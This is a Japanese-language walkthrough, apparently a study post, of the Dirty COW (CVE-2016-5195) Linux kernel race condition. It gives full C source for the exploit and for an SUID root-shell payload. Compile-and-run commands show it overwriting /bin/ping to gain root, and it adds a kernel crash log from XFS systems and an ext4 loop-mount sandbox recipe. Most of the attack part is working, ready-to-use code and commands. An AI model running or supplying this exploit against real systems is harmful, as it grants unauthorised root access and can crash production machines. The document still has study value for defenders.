
Dirty COW(CVE-2016-5195)権限昇格エクスプロイトの教育用実装。競合状態ペイロードと、Linuxシステム向けのSUIDベースのルートシェル昇格を含む。
记录は学習目的のみとし、不正な用途への使用は禁止する
この脆弱性の原理は、並行してダーティページを書き込むことで、元々読み取り専用権限のファイル内容を変更させることにある
もし変更されたファイルがroot所有かつSUID権限を持つ場合、それを利用して権限昇格を行うことができる
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
void *map;
int f;
struct stat st;
char *name;
// ファイルから読み取った Payload の内容とサイズを格納する
char *payload_buf;
size_t payload_size;
// スレッド B:madvise を繰り返し呼び出してカーネルにこのメモリページを破棄させる
void *madviseThread(void *arg) {
int i, c = 0;
for(i = 0; i < 10000000; i++) {
c += madvise(map, payload_size, MADV_DONTNEED);
}
printf("[-] madvise スレッド終了\n");
return NULL;
}
// スレッド A:/proc/self/mem を通じて読み取り専用マッピング領域にデータを書き込み続ける
void *procselfmemThread(void *arg) {
int f = open("/proc/self/mem", O_RDWR);
int i, c = 0;
for(i = 0; i < 10000000; i++) {
lseek(f, (uintptr_t) map, SEEK_SET);
// メモリ内の Payload バッファを書き込む
c += write(f, payload_buf, payload_size);
}
printf("[-] /proc/self/mem スレッド終了\n");
return NULL;
}
int main(int argc, char *argv[]) {
if (argc < 3) {
printf("使用方法: %s <読み取り専用ターゲットファイル> <Payload入力ファイル>\n", argv[0]);
return 1;
}
name = argv[1];
char *payload_file = argv[2];
// Payload ファイルを開いて内容をメモリに読み込む
int pf = open(payload_file, O_RDONLY);
if (pf < 0) {
perror("Payload ファイルのオープンに失敗");
return 1;
}
struct stat pst;
fstat(pf, &pst);
payload_size = pst.st_size;
if (payload_size == 0) {
printf("[!] Payload ファイルが空です\n");
return 1;
}
payload_buf = malloc(payload_size);
if (read(pf, payload_buf, payload_size) != payload_size) {
perror("Payload ファイルの読み取りに失敗");
return 1;
}
close(pf);
printf("[*] Payload ファイルの読み込みに成功: %s (サイズ: %zu バイト)\n", payload_file, payload_size);
// ターゲットファイルをマッピングする
f = open(name, O_RDONLY);
if (f < 0) {
perror("ターゲットファイルのオープンに失敗");
return 1;
}
fstat(f, &st);
// Payload の長さがターゲットファイルの長さを超えないようにする
if (payload_size > st.st_size) {
printf("[!] 警告: Payload サイズ (%zu) がターゲットファイルサイズ (%zu) より大きいです。\n", payload_size, st.st_size);
printf("[!] Dirty COW のその場上書き特性により、ターゲットファイルサイズを超える部分はファイルシステムによって切り詰められ破棄されます!\n");
}
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
printf("[*] ターゲットファイルのマッピングアドレス: %p\n", map);
// 競合状態を開始
pthread_t pth1, pth2;
printf("[*] 競合状態 (Race Condition) を開始...\n");
pthread_create(&pth1, NULL, madviseThread, NULL);
pthread_create(&pth2, NULL, procselfmemThread, NULL);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
printf("[*] 競合が終了しました。%s の内容を確認してください。\n", name);
free(payload_buf);
return 0;
}
#include <unistd.h>
int main() {
// root 身份を復元する
setuid(0);
setgid(0);
// root bash を起動する
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc -o d dirtycow_file_payload.c -lpthread
gcc -o up up.c
# 自分の環境では元のpingをバックアップする
cp /bin/ping ./ping
# 権限昇格を実行する
./d /bin/ping ./up
# 以降、rootユーザーのコマンドライン端末プロンプトが表示される
上記の手順は、Ubuntu や Debian などデフォルトで Extファイルシステム を採用しているディストリビューションでは権限昇格に成功する。理由は Ext ファイルシステムがダーティページの読み書き権限チェックを比較的緩く行っているためである 一方、红帽家族 のようなデフォルトで XFS ファイルシステムを使用するディストリビューションでは DDos 攻撃となり、ダーティページ検証アサーションがトリガーされ、システムが再起動する クラッシュ画像のOCR概要:
[ 0.000000] Detected CPU family 6 model 94
[ 0.000000] Warning: Intel CPU model - this hardware has not undergone upstre
am testing. Please consult http://wiki.centos.org/FAQ for more information
[ 8.4818041 mce: Unable to init device /dev/mcelog (rc: -5)hrough
[ 2.547101] sd 2:0:8:8: [sda] Assuming drive cache: write through
systemd-fsck[336]: /sbin/fsck.xfs: XFS file system.
kdumm: dump target is /dew/mapper/centos-roo
kdump: saving to /sysroot//var/crash/127.0.8.1-2826.08.26-16:11:03/
kdump: saving umcore-dmesg.txt
kdumm: saving vmcore-dmesg.txt
kdump: saving vmcore
Excluding unnecessary pages
詳細ログ:
[ 6212.157286] ------------[ cut here ]------------
[ 6212.157291] kernel BUG at fs/xfs/xfs_aops.c:1031!
[ 6212.157292] invalid opcode: 0000 [#1] SMP
[ 6212.157294] Modules linked in: tcp_lp nls_utf8 isofs bnep bluetooth rfkill fuse ip6t_rpfilter ip6t_REJECT ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter ip_tables coretemp crct10dif_pclmul crc32_pclmul crc32c_intel ghash_clmulni_intel ppdev snd_ens1371 snd_rawmidi snd_ac97_codec ac97_bus snd_seq snd_seq_device aesni_intel lrw gf128mul glue_helper ablk_helper cryptd snd_pcm vmw_balloon serio_raw pcspkr snd_timer snd soundcore vmw_vmci i2c_piix4 shpchp parport_pc parport uinput xfs libcrc32c sr_mod
[ 6212.157307] cdrom ata_generic pata_acpi sd_mod crc_t10dif crct10dif_common vmwgfx drm_kms_helper ttm ata_piix drm e1000 mptspi scsi_transport_spi i2c_core mptscsih mptbase libata dm_mirror dm_region_hash dm_log dm_mod
[ 6212.157313] CPU: 0 PID: 6231 Comm: kworker/u256:2 Not tainted 3.10.0-229.el7.x86_64 #1
[ 6212.157314] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 04/05/2016
[ 6212.157321] Workqueue: writeback bdi_writeback_workfn (flush-253:0)
[ 6212.157323] task: ffff8800456ead80 ti: ffff88003dd60000 task.ti: ffff88003dd60000
[ 6212.157324] RIP: 0010:[<ffffffffa01dc8e3>] [<ffffffffa01dc8e3>] xfs_vm_writepage+0x563/0x5d0 [xfs]
[ 6212.157346] RSP: 0018:ffff88003dd63948 EFLAGS: 00010246
[ 6212.157347] RAX: 001fffff0002006d RBX: ffff880077aceee8 RCX: 000000000000000c
[ 6212.157347] RDX: 0000000000000000 RSI: ffffea00001057c0 RDI: ffffea00001057c0
[ 6212.157348] RBP: ffff88003dd639f0 R08: fffffffffffffffd R09: 0000000000016978
[ 6212.157349] R10: 0000000000000000 R11: 000000000000000b R12: ffff880077aceee8
[ 6212.157349] R13: ffff88003dd63c40 R14: ffff880077aced98 R15: ffffea00001057c0
[ 6212.157350] FS: 0000000000000000(0000) GS:ffff88007c600000(0000) knlGS:0000000000000000
[ 6212.157351] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 6212.157352] CR2: 00007f46c2083000 CR3: 0000000042ccb000 CR4: 00000000003407f0
[ 6212.157385] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 6212.157403] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[ 6212.157403] Stack:
[ 6212.157404] 000000000000af60 ffff880036142e00 ffff88003dd63c40 ffff88003dd63a68
[ 6212.157405] ffff88003dd63a80 ffffea00001057c0 0000000000001000 0000000000001000
[ 6212.157406] ffff88003dd639f0 ffffffff81157091 0000000000000000 ffff880077aceef0
[ 6212.157407] Call Trace:
[ 6212.157412] [<ffffffff81157091>] ? find_get_pages_tag+0xe1/0x1a0
[ 6212.157414] [<ffffffff811610c3>] __writepage+0x13/0x50
[ 6212.157415] [<ffffffff81161be1>] write_cache_pages+0x251/0x4d0
[ 6212.157425] [<ffffffff811610b0>] ? global_dirtyable_memory+0x70/0x70
[ 6212.157427] [<ffffffff81161ead>] generic_writepages+0x4d/0x80
[ 6212.157435] [<ffffffffa01dbec3>] xfs_vm_writepages+0x43/0x50 [xfs]
[ 6212.157437] [<ffffffff81162f5e>] do_writepages+0x1e/0x40
[ 6212.157439] [<ffffffff811f04e0>] __writeback_single_inode+0x40/0x220
[ 6212.157440] [<ffffffff811f11de>] writeback_sb_inodes+0x25e/0x420
[ 6212.157441] [<ffffffff811f143f>] __writeback_inodes_wb+0x9f/0xd0
[ 6212.157443] [<ffffffff811f1c83>] wb_writeback+0x263/0x2f0
[ 6212.157445] [<ffffffff811e094c>] ? get_nr_inodes+0x4c/0x70
[ 6212.157446] [<ffffffff811f32cb>] bdi_writeback_workfn+0x2cb/0x460
[ 6212.157449] [<ffffffff8108f1db>] process_one_work+0x17b/0x470
[ 6212.157450] [<ffffffff8108ffbb>] worker_thread+0x11b/0x400
[ 6212.157451] [<ffffffff8108fea0>] ? rescuer_thread+0x400/0x400
[ 6212.157452] [<ffffffff8109739f>] kthread+0xcf/0xe0
[ 6212.157454] [<ffffffff810972d0>] ? kthread_create_on_node+0x140/0x140
[ 6212.157456] [<ffffffff8161497c>] ret_from_fork+0x7c/0xb0
[ 6212.157458] [<ffffffff810972d0>] ? kthread_create_on_node+0x140/0x140
[ 6212.157458] Code: df e8 02 a4 f7 e0 8b 45 a4 e9 6f fb ff ff 48 89 df e8 f2 d6 01 e1 44 8b 9d 74 ff ff ff 44 8b 4d a0 e9 c5 fe ff ff e8 5d 18 e9 e0 <0f> 0b 41 b9 01 00 00 00 e9 89 fe ff ff 80 3d ce bb 09 00 00 0f
[ 6212.157469] RIP [<ffffffffa01dc8e3>] xfs_vm_writepage+0x563/0x5d0 [xfs]
[ 6212.157474] RSP <ffff88003dd63948>
もしどうしても红帽家族 の環境(例:CentOS 7)しかなく、かつ試してみたい場合は、手動で Extファイルシステム を作成して権限昇格をシミュレートできる
# 32MB のゼロ埋めファイルを作成する(仮想ディスクとして)
dd if=/dev/zero of=/tmp/ext4_test.img bs=1M count=32
# このファイルを Ext4 ファイルシステムとしてフォーマットする
mkfs.ext4 /tmp/ext4_test.img
# マウントポイントディレクトリを作成する
mkdir -p /tmp/ext4_mount
# loop デバイスを使用して仮想ディスクファイルをディレクトリにマウントする (root 権限が必要)
sudo mount -o loop /tmp/ext4_test.img /tmp/ext4_mount
# マウントが成功したか確認する
df -T -h | grep ext4_mount
# ping プログラムをサンドボックスパーティションにコピーする
sudo cp /bin/ping /tmp/ext4_mount/
# root 所有者と SUID 権限を付与する (4755 は rwsr-xr-x を表す)
sudo chown root:root /tmp/ext4_mount/ping
sudo chmod 4755 /tmp/ext4_mount/ping
# 権限が正しく設定されているか確認する
ls -la /tmp/ext4_mount/ping
gcc -o ./d ./dirtycow_file_payload.c -lpthread
gcc -o ./up ./up.c -lpthread
./d /tmp/ext4_mount/ping ./up
# 競合終了後、サンドボックス内の ping を実行して root シェルを起動する
/tmp/ext4_mount/ping
クリーンアップロジックも添付する
# パーティションをアンマウントする
sudo umount /tmp/ext4_mount
# マウントポイントと仮想ディスクファイルを削除する
rm -rf /tmp/ext4_mount
rm -f /tmp/ext4_test.img